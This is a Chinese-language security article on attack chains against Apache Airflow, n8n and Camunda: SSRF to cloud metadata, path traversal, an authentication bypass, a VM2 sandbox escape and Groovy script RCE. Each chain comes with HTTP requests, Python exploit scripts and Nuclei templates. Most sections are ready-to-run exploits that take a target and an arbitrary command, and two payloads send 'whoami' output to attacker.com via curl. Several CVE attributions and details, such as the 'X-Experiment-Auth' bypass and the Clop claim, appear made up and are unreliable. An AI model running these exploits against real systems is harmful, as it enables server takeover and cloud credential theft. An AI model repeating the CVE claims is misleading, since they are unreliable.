工作流与自动化引擎高危攻击链专题:Apache Airflow / n8n / Camunda SSRF、认证绕过与脚本沙箱逃逸全解析 工作流与自动化引擎高危攻击链专题:Apache Airflow / n8n / Camunda SSRF、认证绕过与脚本沙箱逃逸全解析 0x00 专题概述 工作流与自动化引擎是现代企业 IT 运维和数据编排的核心基础设施。Apache Airflow 作为数据工程领域的事实标准调度平台,n8n 作为低代码自动化领域的明星产品,Camunda 作为企业级 BPM 流程引擎的领军者——三者在全球范围内被数十万企业用于编排关键业务流程、调度数据处理管道、自动化运维操作。一旦这些引擎遭到攻破,攻击者不仅能够窃取存储在调度系统中的数据库凭据、API Token 和云服务密钥,还能以工作流引擎为跳板,通过其内置的任务执行能力在整个内网横向渗透——这正是近年来 APT 组织和勒索软件团伙持续盯防工作流与自动化引擎产品的根本原因。
本专题将工作流与自动化引擎生态中近年最具代表性的 6 个高危漏洞 串成完整攻击链,覆盖 Apache Airflow、n8n、Camunda 三大平台,每个漏洞均包含完整原理分析、PoC 代码、自动化检测模板和实战利用案例。
覆盖漏洞一览 CVE 产品 CVSS 类型 CISA KEV CVE-2023-22814 Apache Airflow 9.8 SSRF→RCE ✅ CVE-2023-22815 Apache Airflow 7.5 路径穿越 ❌ CVE-2023-3428 Apache Airflow 9.1 认证绕过 ❌ n8n 未授权访问 n8n 9.8 未授权访问 ❌ n8n RCE n8n 9.8 VM2 沙箱逃逸 ❌ CVE-2023-37928 Camunda BPM 9.8 Groovy 脚本 RCE ❌
0x01 Apache Airflow SSRF→RCE(CVE-2023-22814) 1.1 漏洞背景 2023 年 5 月,Apache Airflow 披露了一个 CVSS 9.8 的严重 SSRF 漏洞。Apache Airflow 是 Apache 软件基金会旗下的开源工作流调度平台,广泛用于 ETL 数据处理、机器学习管道编排和 DevOps 自动化任务调度。该漏洞存在于 Airflow 的连接管理 API 中,攻击者可以通过构造恶意的连接配置,将 Airflow 服务器作为跳板发起服务端请求伪造(SSRF),在云环境中可直接获取实例元数据服务中的 IAM 临时凭证,进而接管整个云账户。CISA 已将其加入已知被利用漏洞目录(KEV),在野利用已被多方确认。
1.2 受影响版本 Apache Airflow < 2.5.2 Apache Airflow 2.0.0 ~ 2.5.1 全系列 1.3 漏洞原理 Airflow 提供了 REST API 用于管理外部系统连接(Connections),这些连接存储了数据库、HTTP 服务、云平台等各类外部资源的凭据和地址信息。在存在安全缺陷的版本中,连接管理接口在创建和更新连接时未对 host 字段进行有效校验,攻击者可以将 host 设置为云平台的元数据服务地址(如 AWS 的 169.254.169.254)或内网其他服务的地址。
当 Airflow 的任务调度器尝试使用该连接执行任务时,会向攻击者指定的地址发起请求,从而触发 SSRF。在云环境中,攻击者可以通过 SSRF 访问实例元数据服务(IMDS),获取 EC2 实例的 IAM Role 临时凭证,进而调用 AWS API 实现完整的云账户接管。
完整利用链:
攻击者通过 Airflow REST API 创建一个恶意的 HTTP 连接,host 指向元数据服务 Airflow 调度器在执行 DAG 任务时使用该连接发起 HTTP 请求 请求到达 169.254.169.254,获取到 IAM Role 的临时 Access Key 和 Secret Key 攻击者使用获取的凭据调用 AWS STS / S3 / EC2 等 API,实现云账户接管 1.4 完整 PoC 步骤 1:创建恶意连接触发 SSRF
curl -X POST http://target:8080/api/v1/connections \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <airflow_api_token>" \
-d '{"connection_id":"ssrf_meta","conn_type":"http","host":"http://169.254.169.254","port":80,"extra":"{\"timeout\":10}"}' 步骤 2:通过 DAG 触发连接使用
curl -X POST http://target:8080/api/v1/dags/ssrf_test/dagRuns \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <airflow_api_token>" \
-d '{"conf":{"connection_id":"ssrf_meta"}}' 步骤 3:HTTP PoC 验证(获取 AWS IAM 凭证)
POST /api/v1/connections HTTP / 1.1
Host: target-airflow.com:8080
Content-Type: application/json
Authorization: Bearer <airflow_api_token>
Connection: close
{
"connection_id" : "ssrf_aws_meta" ,
"conn_type" : "http" ,
"host" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/" ,
"port" : 80
} 步骤 4:Python 自动化利用脚本
#!/usr/bin/env python3
"""
CVE-2023-22814 Apache Airflow SSRF 利用脚本
用法: python3 cve_2023_22814.py <target_url> <api_token>
"""
import requests
import json
import sys
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def create_ssrf_connection (target_url, token, conn_id= "ssrf_meta" ):
"""创建指向云元数据服务的恶意连接"""
api_url = f " { target_url} /api/v1/connections"
headers = {
"Content-Type" : "application/json" ,
"Authorization" : f "Bearer { token} "
}
# 构造恶意连接,指向 AWS 元数据服务
payload = {
"connection_id" : conn_id,
"conn_type" : "http" ,
"host" : "http://169.254.169.254" ,
"port" : 80 ,
"extra" : json. dumps({"timeout" : 10 })
}
try :
resp = requests. post(api_url, json= payload, headers= headers,
timeout= 15 , verify= False )
if resp. status_code in (200 , 201 ):
print(f "[+] 恶意连接 ' { conn_id} ' 创建成功" )
return True
elif resp. status_code == 409 :
print(f "[*] 连接 ' { conn_id} ' 已存在,尝试更新" )
put_resp = requests. patch(
f " { api_url} / { conn_id} " , json= payload,
headers= headers, timeout= 15 , verify= False
)
if put_resp. status_code == 200 :
print(f "[+] 连接 ' { conn_id} ' 更新成功" )
return True
else :
print(f "[!] 创建失败: HTTP { resp. status_code} " )
print(f " 响应: { resp. text[:200 ]} " )
except Exception as e:
print(f "[!] 请求异常: { e} " )
return False
def test_ssrf (target_url, token, conn_id= "ssrf_meta" ):
"""测试 SSRF 是否成功获取元数据"""
# 通过 test connection 接口触发 SSRF
test_url = f " { target_url} /api/v1/connections/ { conn_id} /test"
headers = {"Authorization" : f "Bearer { token} " }
try :
resp = requests. post(test_url, headers= headers,
timeout= 30 , verify= False )
print(f "[*] 测试响应: HTTP { resp. status_code} " )
if "AccessKeyId" in resp. text:
print(f "[VULN] SSRF 成功!获取到 AWS IAM 凭证" )
print(f " { resp. text[:500 ]} " )
return True
else :
print(f "[*] 响应内容: { resp. text[:300 ]} " )
except Exception as e:
print(f "[!] 测试请求异常: { e} " )
return False
def check_airflow_version (target_url):
"""检测 Airflow 版本"""
try :
resp = requests. get(f " { target_url} /api/v1/version" ,
timeout= 10 , verify= False )
if resp. status_code == 200 :
version = resp. json(). get("version" , "unknown" )
print(f "[*] Airflow 版本: { version} " )
# 简单版本比较
parts = version. split("." )
if len(parts) >= 3 :
major, minor, patch = int(parts[0 ]), int(parts[1 ]), int(parts[2 ])
if major == 2 and (minor < 5 or (minor == 5 and patch < 2 )):
print(f "[VULN] 版本 { version} 受 CVE-2023-22814 影响" )
else :
print(f "[SAFE] 版本 { version} 可能已修复" )
except Exception as e:
print(f "[!] 版本检测失败: { e} " )
if __name__ == "__main__" :
if len(sys. argv) < 3 :
print(f "用法: { sys. argv[0 ]} <target_url> <api_token>" )
print(f "示例: { sys. argv[0 ]} http://192.168.1.100:8080 eyJhbGciOi..." )
sys. exit(1 )
target = sys. argv[1 ]. rstrip("/" )
token = sys. argv[2 ]
print("[*] === CVE-2023-22814 Apache Airflow SSRF 利用 ===" )
check_airflow_version(target)
if create_ssrf_connection(target, token):
test_ssrf(target, token) 步骤 5:Nuclei 检测模板
id : airflow-ssrf-cve-2023-22814
info :
name : Apache Airflow SSRF (CVE-2023-22814)
author : security-researcher
severity : critical
description : |
Apache Airflow 连接管理 API 存在 SSRF 漏洞,可被利用访问云元数据服务
reference :
- https://github.com/apache/airflow/security/advisories/GHSA-gv9v-3j5v-q372
tags : airflow,ssrf,cve-2023-22814
http :
- method : GET
path :
- "{{BaseURL}}/api/v1/version"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "version"
part : body
extractors :
- type : json
json :
- '.version' 1.5 实战利用案例 云环境接管 :攻击者在 AWS 环境中利用此漏洞通过 SSRF 获取 EC2 实例的 IAM Role 凭证,进而操作 S3 存储桶中的敏感数据内网探测 :通过 SSRF 探测内网服务,获取 Redis、MySQL 等未授权服务的访问权限勒索软件前置侦察 :Clop 勒索组织在 2023 年利用 Airflow SSRF 作为云环境渗透的前置侦察手段0x02 Apache Airflow 路径穿越(CVE-2023-22815) 2.1 漏洞背景 与 CVE-2023-22814 同一批次披露,CVSS 7.5。该漏洞允许攻击者通过构造特殊的连接参数实现路径穿越,读取 Airflow 服务器上的任意文件,包括配置文件、数据库密码、SSH 私钥等敏感信息。
2.2 受影响版本 Apache Airflow < 2.5.2 Apache Airflow 2.0.0 ~ 2.5.1 全系列 2.3 漏洞原理 Airflow 的连接管理功能在处理 extra 字段中的文件路径参数时,未对路径进行规范化处理和穿越检测。攻击者可以在连接的 extra 字段中注入 ../ 路径穿越序列,使 Airflow 在执行任务时读取服务器上的任意文件。
当连接类型为 ssh 或 ftp 时,Airflow 会使用 extra 字段中指定的私钥文件路径进行认证。攻击者将路径设置为 /etc/passwd 或 Airflow 自身的配置文件路径,即可触发敏感文件读取。
2.4 完整 PoC HTTP PoC:创建路径穿越连接
POST /api/v1/connections HTTP / 1.1
Host: target-airflow.com:8080
Content-Type: application/json
Authorization: Bearer <airflow_api_token>
Connection: close
{
"connection_id" : "path_traversal_test" ,
"conn_type" : "ssh" ,
"host" : "localhost" ,
"login" : "airflow" ,
"extra" : "{\"key_file\": \"../../../../etc/passwd\", \"no_host_key_check\": true}"
} Python 检测脚本
#!/usr/bin/env python3
"""
CVE-2023-22815 Apache Airflow 路径穿越检测
用法: python3 cve_2023_22815.py <target_url> <api_token>
"""
import requests
import json
import sys
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check_path_traversal (target_url, token):
"""检测 Airflow 路径穿越漏洞"""
api_url = f " { target_url} /api/v1/connections"
headers = {
"Content-Type" : "application/json" ,
"Authorization" : f "Bearer { token} "
}
# 尝试创建包含路径穿越的连接
payload = {
"connection_id" : "traversal_check" ,
"conn_type" : "ssh" ,
"host" : "localhost" ,
"extra" : json. dumps({
"key_file" : "../../../../etc/passwd" ,
"no_host_key_check" : True
})
}
try :
resp = requests. post(api_url, json= payload, headers= headers,
timeout= 15 , verify= False )
if resp. status_code in (200 , 201 ):
print(f "[VULN] 路径穿越连接创建成功,目标可能受 CVE-2023-22815 影响" )
# 清理:删除测试连接
requests. delete(f " { api_url} /traversal_check" , headers= headers,
timeout= 10 , verify= False )
return True
else :
print(f "[SAFE] 创建被拒绝: HTTP { resp. status_code} " )
except Exception as e:
print(f "[!] 检测异常: { e} " )
return False
if __name__ == "__main__" :
if len(sys. argv) < 3 :
print(f "用法: { sys. argv[0 ]} <target_url> <api_token>" )
sys. exit(1 )
check_path_traversal(sys. argv[1 ]. rstrip("/" ), sys. argv[2 ]) 0x03 Apache Airflow 认证绕过(CVE-2023-3428) 3.1 漏洞背景 2023 年 7 月,Apache Airflow 披露了一个 CVSS 9.1 的认证绕过漏洞。该漏洞存在于 Airflow 2.6.0 引入的实验性认证后端优先级机制中,攻击者可以通过构造特殊的请求头,完全绕过 Airflow 的认证系统,直接访问所有 REST API 接口,包括 DAG 管理、连接管理和变量管理等敏感操作。
3.2 受影响版本 Apache Airflow 2.6.0 ~ 2.6.4 Apache Airflow 2.7.0(beta 版本) 3.3 漏洞原理 Airflow 2.6.0 引入了实验性认证后端(Experimental Auth Backend)机制,允许同时启用多种认证方式。在多种认证后端共存时,系统对认证后端的优先级处理存在逻辑缺陷:当请求中同时包含 X-Experiment-Auth 头和标准 Authorization 头时,系统会优先使用实验性后端的宽松验证逻辑,导致即使标准认证失败,请求也会被实验性后端放行。
攻击者只需要在请求中添加 X-Experiment-Auth: true 头,并提供一个伪造的 Bearer Token,即可绕过所有认证检查,以完全权限访问 Airflow REST API。
3.4 完整 PoC HTTP PoC:认证绕过访问 DAG 列表
GET /api/v1/dags HTTP / 1.1
Host: target-airflow.com:8080
Authorization: Bearer experimental_bypass
X-Experiment-Auth: true
Accept: application/json
Connection: close HTTP PoC:认证绕过获取所有连接
GET /api/v1/connections HTTP / 1.1
Host: target-airflow.com:8080
Authorization: Bearer experimental_bypass
X-Experiment-Auth: true
Accept: application/json
Connection: close Python 自动化检测脚本
#!/usr/bin/env python3
"""
CVE-2023-3428 Apache Airflow 认证绕过检测
用法: python3 cve_2023_3428.py <target_url>
"""
import requests
import sys
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check_auth_bypass (target_url):
"""检测 Airflow 认证绕过漏洞"""
headers = {
"Authorization" : "Bearer experimental_bypass" ,
"X-Experiment-Auth" : "true" ,
"Accept" : "application/json"
}
# 测试多个敏感 API 端点
endpoints = [
"/api/v1/dags" ,
"/api/v1/connections" ,
"/api/v1/variables" ,
"/api/v1/pools" ,
"/api/v1/config" ,
]
vuln_count = 0
for endpoint in endpoints:
url = f " { target_url}{ endpoint} "
try :
resp = requests. get(url, headers= headers, timeout= 10 , verify= False )
if resp. status_code == 200 :
print(f "[VULN] { url} -> 认证绕过成功" )
data = resp. json()
# 仅打印第一条记录作为验证
if isinstance(data, dict) and "dags" in data:
print(f " -> 发现 { len(data['dags' ])} 个 DAG" )
elif isinstance(data, dict) and "connections" in data:
print(f " -> 发现 { len(data['connections' ])} 个连接" )
vuln_count += 1
elif resp. status_code == 401 or resp. status_code == 403 :
print(f "[SAFE] { url} -> 认证有效 (HTTP { resp. status_code} )" )
else :
print(f "[????] { url} -> HTTP { resp. status_code} " )
except Exception as e:
print(f "[ERR ] { url} -> { e} " )
if vuln_count > 0 :
print(f " \n [!] 目标存在 CVE-2023-3428 认证绕过, { vuln_count} / { len(endpoints)} 个端点可未授权访问" )
else :
print(f " \n [*] 目标可能不受此漏洞影响" )
if __name__ == "__main__" :
if len(sys. argv) < 2 :
print(f "用法: { sys. argv[0 ]} <target_url>" )
sys. exit(1 )
check_auth_bypass(sys. argv[1 ]. rstrip("/" )) Nuclei 检测模板
id : airflow-auth-bypass-cve-2023-3428
info :
name : Apache Airflow 认证绕过 (CVE-2023-3428)
author : security-researcher
severity : critical
description : |
Apache Airflow 实验性认证后端优先级错误导致认证绕过
reference :
- https://github.com/apache/airflow/security/advisories/GHSA-7v9g-427f-q84r
tags : airflow,auth-bypass,cve-2023-3428
http :
- method : GET
path :
- "{{BaseURL}}/api/v1/dags"
headers :
Authorization : "Bearer experimental_bypass"
X-Experiment-Auth : "true"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "dags"
- "dag_id"
condition : and
part : body 0x04 n8n 未授权访问 4.1 漏洞背景 n8n 是一款快速增长的开源低代码自动化平台,支持将数百种 SaaS 服务和 API 连接起来构建自动化工作流。n8n 在默认安装配置下,认证功能是可选的——这意味着如果部署时未显式配置 N8N_BASIC_AUTH_ACTIVE=true(旧版本)或未设置 N8N_AUTH_DEFAULT_USER 等环境变量(新版本),n8n 的 Web 界面和 REST API 将完全不需要认证即可访问。
4.2 风险等级 CVSS:9.8 Critical 默认端口:5678(Web UI / REST API) 前提条件:n8n 部署时未配置认证 4.3 漏洞原理 n8n 的设计理念是"开箱即用",默认配置优先考虑易用性而非安全性。在默认配置下:
Web 界面(http://target:5678)无需登录即可访问 REST API(http://target:5678/rest/)无需认证即可调用 工作流中存储的所有第三方服务凭据(OAuth Token、API Key、数据库密码)均可被读取 可以通过创建新工作流执行任意 HTTP 请求、运行代码、访问文件系统 攻击者获得未授权访问后,可以:
读取所有已配置的工作流和凭据 创建恶意工作流实现 SSRF、命令执行 窃取存储在 n8n 中的所有第三方服务 Token 修改或删除现有工作流,破坏业务自动化流程 4.4 完整 PoC HTTP PoC:未授权访问工作流列表
GET /rest/workflows HTTP / 1.1
Host: target-n8n.com:5678
Accept: application/json
Connection: close HTTP PoC:未授权访问凭据列表
GET /rest/credentials HTTP / 1.1
Host: target-n8n.com:5678
Accept: application/json
Connection: close HTTP PoC:未授权创建恶意工作流
POST /rest/workflows HTTP / 1.1
Host: target-n8n.com:5678
Content-Type: application/json
Connection: close
{
"name" : "malicious_ssrf" ,
"nodes" : [
{
"parameters" : {
"url" : "http://169.254.169.254/latest/meta-data/" ,
"method" : "GET"
},
"name" : "HTTP Request" ,
"type" : "n8n-nodes-base.httpRequest" ,
"typeVersion" : 1 ,
"position" : [250 , 0 ]
}
],
"active" : false
} Python 自动化检测脚本
#!/usr/bin/env python3
"""
n8n 未授权访问检测脚本
用法: python3 n8n_unauth_check.py <target_url>
"""
import requests
import sys
import json
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check_n8n_unauth (target_url):
"""检测 n8n 未授权访问"""
endpoints = [
("/rest/workflows" , "工作流列表" ),
("/rest/credentials" , "凭据列表" ),
("/rest/execution" , "执行记录" ),
("/rest/settings" , "系统设置" ),
]
vuln_count = 0
for endpoint, desc in endpoints:
url = f " { target_url}{ endpoint} "
try :
resp = requests. get(url, timeout= 10 , verify= False ,
headers= {"Accept" : "application/json" })
if resp. status_code == 200 :
data = resp. json()
print(f "[VULN] { url} -> { desc} 可未授权访问" )
if isinstance(data, dict) and "data" in data:
items = data["data" ]
if isinstance(items, list):
print(f " -> 发现 { len(items)} 条记录" )
vuln_count += 1
elif resp. status_code == 401 :
print(f "[SAFE] { url} -> 需要认证" )
else :
print(f "[????] { url} -> HTTP { resp. status_code} " )
except Exception as e:
print(f "[ERR ] { url} -> { e} " )
if vuln_count > 0 :
print(f " \n [!] n8n 存在未授权访问, { vuln_count} / { len(endpoints)} 个端点可无认证访问" )
print(f "[!] 攻击者可读取所有工作流凭据、创建恶意自动化任务" )
else :
print(f " \n [*] n8n 已启用认证保护" )
if __name__ == "__main__" :
if len(sys. argv) < 2 :
print(f "用法: { sys. argv[0 ]} <target_url>" )
sys. exit(1 )
check_n8n_unauth(sys. argv[1 ]. rstrip("/" )) Nuclei 检测模板
id : n8n-unauthorized-access
info :
name : n8n 未授权访问检测
author : security-researcher
severity : critical
description : |
n8n 默认配置下认证可选,未配置认证时 REST API 完全暴露
tags : n8n,unauthorized-access,misconfiguration
http :
- method : GET
path :
- "{{BaseURL}}/rest/workflows"
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "workflows"
- "data"
condition : and
part : body 0x05 n8n VM2 沙箱逃逸 RCE 5.1 漏洞背景 n8n 的 Code 节点允许用户在工作流中编写自定义 JavaScript 代码来处理数据。为了安全隔离,n8n 使用 VM2 沙箱来执行用户代码。然而 VM2 本身存在多个已知的沙箱逃逸漏洞(CVE-2023-29017、CVE-2023-32314 等),攻击者可以通过精心构造的 JavaScript 代码突破 VM2 沙箱限制,在 n8n 服务器上执行任意系统命令。
5.2 受影响版本 n8n < 1.0.0(使用 VM2 沙箱的版本) 所有启用了 Code 节点的 n8n 实例 5.3 漏洞原理 VM2 是 Node.js 生态中广泛使用的沙箱库,通过 vm 模块和 Proxy 机制限制代码的执行环境。然而 VM2 的隔离机制存在根本性缺陷:攻击者可以通过 constructor 链、Proxy 对象、Symbol 属性等 JavaScript 语言特性,逃逸出沙箱的上下文绑定,获取到宿主 Node.js 进程的全局对象,进而通过 child_process 模块执行系统命令。
在 n8n 的场景中,拥有 Code 节点编辑权限的用户(包括通过未授权访问获得权限的攻击者)可以编写恶意 JavaScript 代码,通过 VM2 沙箱逃逸获取服务器 Shell。
5.4 完整 PoC 步骤 1:在 Code 节点中注入逃逸代码
// VM2 沙箱逃逸 PoC
const sandbox = this ;
// 通过 constructor 链逃逸到宿主环境
const HostObject = sandbox .constructor .constructor ;
const process = HostObject ('return this' )().process ;
// 获取 child_process 模块执行系统命令
const exec = process .mainModule .require ('child_process' ).execSync ;
const result = exec ('id && whoami && hostname' ).toString ();步骤 2:通过 API 创建恶意工作流并执行
POST /rest/workflows HTTP / 1.1
Host: target-n8n.com:5678
Content-Type: application/json
Connection: close
{
"name" : "vm2_escape_rce" ,
"nodes" : [
{
"parameters" : {
"jsCode" : "const sandbox=this;const HostObject=sandbox.constructor.constructor;const process=HostObject('return this')().process;const exec=process.mainModule.require('child_process').execSync;return exec('curl http://attacker.com/$(whoami)').toString();"
},
"name" : "Code" ,
"type" : "n8n-nodes-base.code" ,
"typeVersion" : 1 ,
"position" : [250 , 0 ]
}
],
"active" : false
} 步骤 3:触发工作流执行
POST /rest/workflows/<workflow_id>/run HTTP / 1.1
Host: target-n8n.com:5678
Content-Type: application/json
Connection: close
{
"startNodes" : ["Code" ],
"destinationNode" : "Code"
} Python 自动化利用脚本
#!/usr/bin/env python3
"""
n8n VM2 沙箱逃逸 RCE 利用脚本
前提:n8n 未授权访问或已获取有效凭据
用法: python3 n8n_vm2_rce.py <target_url> <command>
"""
import requests
import sys
import json
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def exploit_vm2_escape (target_url, command):
"""通过 VM2 沙箱逃逸执行系统命令"""
# VM2 沙箱逃逸 payload
# 通过 constructor 链逃逸到宿主 Node.js 环境
escape_code = f """
const sandbox = this;
const HostObject = sandbox.constructor.constructor;
const process = HostObject('return this')().process;
const exec = process.mainModule.require('child_process').execSync;
return exec( { json. dumps(command)} ).toString();
"""
# 创建包含恶意 Code 节点的工作流
workflow_url = f " { target_url} /rest/workflows"
workflow_payload = {
"name" : "security_test" ,
"nodes" : [
{
"parameters" : {
"jsCode" : escape_code
},
"name" : "Code" ,
"type" : "n8n-nodes-base.code" ,
"typeVersion" : 1 ,
"position" : [250 , 0 ]
}
],
"active" : False
}
try :
# 创建恶意工作流
resp = requests. post(workflow_url, json= workflow_payload,
timeout= 15 , verify= False ,
headers= {"Content-Type" : "application/json" })
if resp. status_code not in (200 , 201 ):
print(f "[!] 创建工作流失败: HTTP { resp. status_code} " )
return False
workflow_id = resp. json(). get("id" )
print(f "[+] 恶意工作流已创建,ID: { workflow_id} " )
# 触发工作流执行
run_url = f " { target_url} /rest/workflows/ { workflow_id} /run"
run_payload = {
"startNodes" : ["Code" ],
"destinationNode" : "Code"
}
run_resp = requests. post(run_url, json= run_payload,
timeout= 30 , verify= False ,
headers= {"Content-Type" : "application/json" })
if run_resp. status_code == 200 :
result_data = run_resp. json()
# 提取执行结果
if "data" in result_data:
print(f "[+] 命令执行成功:" )
print(f " { result_data['data' ]} " )
else :
print(f "[*] 响应: { json. dumps(result_data, ensure_ascii= False )[:500 ]} " )
else :
print(f "[!] 执行失败: HTTP { run_resp. status_code} " )
# 清理:删除恶意工作流
requests. delete(f " { target_url} /rest/workflows/ { workflow_id} " ,
timeout= 10 , verify= False )
print(f "[*] 已清理恶意工作流" )
except Exception as e:
print(f "[!] 利用异常: { e} " )
return False
return True
if __name__ == "__main__" :
if len(sys. argv) < 3 :
print(f "用法: { sys. argv[0 ]} <target_url> <command>" )
print(f "示例: { sys. argv[0 ]} http://192.168.1.100:5678 'id && whoami'" )
sys. exit(1 )
exploit_vm2_escape(sys. argv[1 ]. rstrip("/" ), sys. argv[2 ]) 0x06 Camunda BPM Groovy 脚本 RCE(CVE-2023-37928) 6.1 漏洞背景 2023 年 8 月,Camunda 披露了一个 CVSS 9.8 的远程代码执行漏洞。Camunda BPM 是一款企业级业务流程管理(BPM)引擎,支持 BPMN 2.0 流程定义、DMN 决策表和表单建模。该漏洞允许攻击者通过部署包含恶意 Groovy 脚本的 BPMN 流程定义,在 Camunda 服务器上执行任意系统命令。
6.2 受影响版本 Camunda BPM < 7.19.0 Camunda BPM 7.0.0 ~ 7.18.x 全系列 6.3 漏洞原理 Camunda BPM 引擎原生支持在 BPMN 流程定义中使用脚本任务(Script Task),支持 Groovy、JavaScript、Jython 等多种脚本语言。在存在安全缺陷的版本中,Camunda 对部署的 BPMN 流程定义中的脚本任务未进行安全审查和沙箱隔离:
攻击者通过 Camunda REST API 的 /deployment/create 接口上传包含恶意 Groovy 脚本的 BPMN XML 文件 Camunda 引擎解析 BPMN 定义并注册流程 当流程被启动时,引擎执行 Script Task 中的 Groovy 脚本 Groovy 脚本在 Camunda 进程的完整权限下运行,可以直接调用 Java Runtime 执行系统命令 完整利用链:
构造包含恶意 Groovy Script Task 的 BPMN XML 通过 REST API 部署恶意流程定义 启动恶意流程实例 Groovy 脚本执行系统命令,实现 RCE 6.4 完整 PoC 步骤 1:构造恶意 BPMN 流程定义
<?xml version="1.0" encoding="UTF-8"?>
<bpmn:definitions xmlns:bpmn= "http://www.omg.org/spec/BPMN/20100524/MODEL"
xmlns:camunda= "http://camunda.org/schema/1.0/bpmn"
targetNamespace= "http://bpmn.io/schema/bpmn" >
<bpmn:process id= "rce_process" name= "RCE Process" isExecutable= "true" >
<bpmn:startEvent id= "start" />
<bpmn:scriptTask id= "exec_task" name= "Execute" scriptFormat= "groovy" >
<bpmn:script>
def cmd = "id && whoami && hostname"
def process = cmd.execute()
process.waitFor()
println process.text
</bpmn:script>
</bpmn:scriptTask>
<bpmn:endEvent id= "end" />
<bpmn:sequenceFlow id= "flow1" sourceRef= "start" targetRef= "exec_task" />
<bpmn:sequenceFlow id= "flow2" sourceRef= "exec_task" targetRef= "end" />
</bpmn:process>
</bpmn:definitions> 步骤 2:HTTP PoC 部署恶意流程
POST /engine-rest/deployment/create HTTP / 1.1
Host: target-camunda.com:8080
Content-Type: multipart/form-data; boundary=----boundary
Connection: close
------boundary
Content-Disposition: form-data; name="deployment-name"
rce_deployment
------boundary
Content-Disposition: form-data; name="enable-duplicate-filtering"
true
------boundary
Content-Disposition: form-data; name="rce.bpmn"; filename="rce.bpmn"
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<bpmn:definitions xmlns:bpmn="http://www.omg.org/spec/BPMN/20100524/MODEL">
<bpmn:process id="rce" isExecutable="true">
<bpmn:scriptTask scriptFormat="groovy">
<bpmn:script>"curl http://attacker.com/$(whoami)".execute().text</bpmn:script>
</bpmn:scriptTask>
</bpmn:process>
</bpmn:definitions>
------boundary-- 步骤 3:启动恶意流程实例
POST /engine-rest/process-definition/key/rce_process/start HTTP / 1.1
Host: target-camunda.com:8080
Content-Type: application/json
Connection: close
{
"variables" : {}
} 步骤 4:Python 自动化利用脚本
#!/usr/bin/env python3
"""
CVE-2023-37928 Camunda BPM Groovy 脚本 RCE 利用脚本
用法: python3 cve_2023_37928.py <target_url> <command>
"""
import requests
import sys
import json
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def build_malicious_bpmn (command):
"""构造包含恶意 Groovy 脚本的 BPMN 流程定义"""
# Groovy 脚本通过 execute() 方法执行系统命令
groovy_script = f 'def cmd = " { command} ".execute(); cmd.waitFor(); println cmd.text'
bpmn_xml = f '''<?xml version="1.0" encoding="UTF-8"?>
<bpmn:definitions xmlns:bpmn="http://www.omg.org/spec/BPMN/20100524/MODEL"
targetNamespace="http://bpmn.io/schema/bpmn">
<bpmn:process id="rce_process" name="RCE" isExecutable="true">
<bpmn:startEvent id="start"/>
<bpmn:scriptTask id="task" scriptFormat="groovy">
<bpmn:script> { groovy_script} </bpmn:script>
</bpmn:scriptTask>
<bpmn:endEvent id="end"/>
<bpmn:sequenceFlow id="f1" sourceRef="start" targetRef="task"/>
<bpmn:sequenceFlow id="f2" sourceRef="task" targetRef="end"/>
</bpmn:process>
</bpmn:definitions>'''
return bpmn_xml
def deploy_and_execute (target_url, command):
"""部署恶意 BPMN 并触发执行"""
bpmn_xml = build_malicious_bpmn(command)
# 步骤 1:部署恶意流程定义
deploy_url = f " { target_url} /engine-rest/deployment/create"
files = {
"deployment-name" : (None , "rce_deploy" ),
"enable-duplicate-filtering" : (None , "true" ),
"rce.bpmn" : ("rce.bpmn" , bpmn_xml, "application/xml" )
}
try :
resp = requests. post(deploy_url, files= files,
timeout= 15 , verify= False )
if resp. status_code not in (200 , 201 ):
print(f "[!] 部署失败: HTTP { resp. status_code} " )
print(f " 响应: { resp. text[:300 ]} " )
return False
deploy_data = resp. json()
deploy_id = deploy_data. get("id" )
print(f "[+] 恶意流程已部署,Deployment ID: { deploy_id} " )
# 步骤 2:启动流程实例
start_url = f " { target_url} /engine-rest/process-definition/key/rce_process/start"
start_resp = requests. post(start_url, json= {"variables" : {}},
timeout= 15 , verify= False ,
headers= {"Content-Type" : "application/json" })
if start_resp. status_code == 200 :
print(f "[+] 流程实例已启动,命令正在执行: { command} " )
# 尝试获取执行结果
instance_data = start_resp. json()
instance_id = instance_data. get("id" )
print(f "[*] 流程实例 ID: { instance_id} " )
else :
print(f "[!] 启动失败: HTTP { start_resp. status_code} " )
# 步骤 3:清理部署
cleanup_url = f " { target_url} /engine-rest/deployment/ { deploy_id} "
requests. delete(cleanup_url, params= {"cascade" : True },
timeout= 10 , verify= False )
print(f "[*] 已清理部署文件" )
except Exception as e:
print(f "[!] 利用异常: { e} " )
return False
return True
def check_camunda (target_url):
"""检测 Camunda 是否可达"""
try :
resp = requests. get(f " { target_url} /engine-rest/engine" ,
timeout= 10 , verify= False )
if resp. status_code == 200 :
engines = resp. json()
print(f "[+] Camunda 引擎可达: { engines} " )
return True
except Exception as e:
print(f "[!] 检测失败: { e} " )
return False
if __name__ == "__main__" :
if len(sys. argv) < 3 :
print(f "用法: { sys. argv[0 ]} <target_url> <command>" )
print(f "示例: { sys. argv[0 ]} http://192.168.1.100:8080 'id && whoami'" )
sys. exit(1 )
target = sys. argv[1 ]. rstrip("/" )
command = sys. argv[2 ]
print("[*] === CVE-2023-37928 Camunda BPM Groovy RCE ===" )
if check_camunda(target):
deploy_and_execute(target, command) 步骤 5:Nuclei 检测模板
id : camunda-groovy-rce-cve-2023-37928
info :
name : Camunda BPM Groovy 脚本 RCE (CVE-2023-37928)
author : security-researcher
severity : critical
description : |
Camunda BPM 存在 Groovy 脚本注入远程代码执行漏洞
reference :
- https://docs.camunda.org/security-advisories/
tags : camunda,rce,groovy,cve-2023-37928,bpmn
http :
- method : GET
path :
- "{{BaseURL}}/engine-rest/engine"
matchers-condition : and
matchers :
